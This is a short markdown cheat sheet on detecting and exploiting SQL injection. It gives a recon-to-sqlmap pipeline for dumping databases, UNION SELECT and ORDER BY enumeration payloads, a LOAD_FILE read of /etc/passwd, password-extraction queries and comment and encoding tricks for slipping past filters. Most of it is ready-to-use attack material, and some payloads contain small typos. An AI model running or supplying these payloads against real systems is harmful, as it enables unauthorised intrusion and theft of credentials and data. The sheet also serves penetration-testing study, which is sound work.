SQL Injection.md
Here are some quick methods to detect the SQL Injection vulnerability, though the methods are not limited. There are various tricks and tools.
1. Capture the request using burpsuite.
2. Send the request to burp scanner.
3. Proceed with active scan.
4. Once the scan is finished, look for SQL vulnerability that has been detected.
5. Manually try SQL injection payloads.
6. Use SQLMAP to speed up the process.
1. sublist3r -d target | tee -a domains (you can use other tools like findomain, assetfinder, etc.)
2. cat domains | httpx | tee -a alive
3. cat alive | waybackurls | tee -a urls
4. gf sqli urls >> sqli
5. sqlmap -m sqli --dbs --batch
6. use tamper scripts
1. Use subdomain enumeration tools on the domain.
2. Gather all urls using hakcrawler, waybackurls, gau for the domain and subdomains.
3. You can use the same method described above in 2nd point.
4. Use Arjun to scan for the hidden params in the urls.
5. Use --urls flag to include all urls.
6. Check the params as https://domain.com?<hiddenparam>=<value>
7. Send request to file and process it through sqlmap.
1. Submit single quote character ' & look for errors.
2. Submit SQL specific query.
3. Submit Boolean conditions such as or 1=1 and or 1=0, and looking application's response.
4. Submit certain payloads that results in time delay.
Submit a series of ORDER BY clause such as
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
and incrementing specified column index until an error occurs.
Submit a series of UNION SELECT payloads.
' UNION SELECT NULL --
' UNION SELECT NULL, NULL --
' UNION SELECT NULL, NULL, NULL --
(Using NULL maximizes the probability that the payload will succeed. NULL can be converted to every commonly used data type.)

PostgreSQL SELECT version()

' UNION ALL SELECT LOAD_FILE ('/ etc / passwd')
%00' UNION SELECT password FROM Users WHERE username-'xyz'--
'/**/UN/**/ION/**/SEL/**/ECT/**/password/**/FR/OM/**/Users/**/WHE/**/RE/**/username/**/LIKE/**/'xyz'--
for example :
/ URL encoded to %2f
* URL encoded to %2a
Can also use double encoding, if single encoding doesn't works. Use hex encoding if the rest doesn't work.

- 1.Use Atlas. It helps suggesting tamper scripts for SQLMAP.

- We can also use gau with waybackurls to fetch all urls.
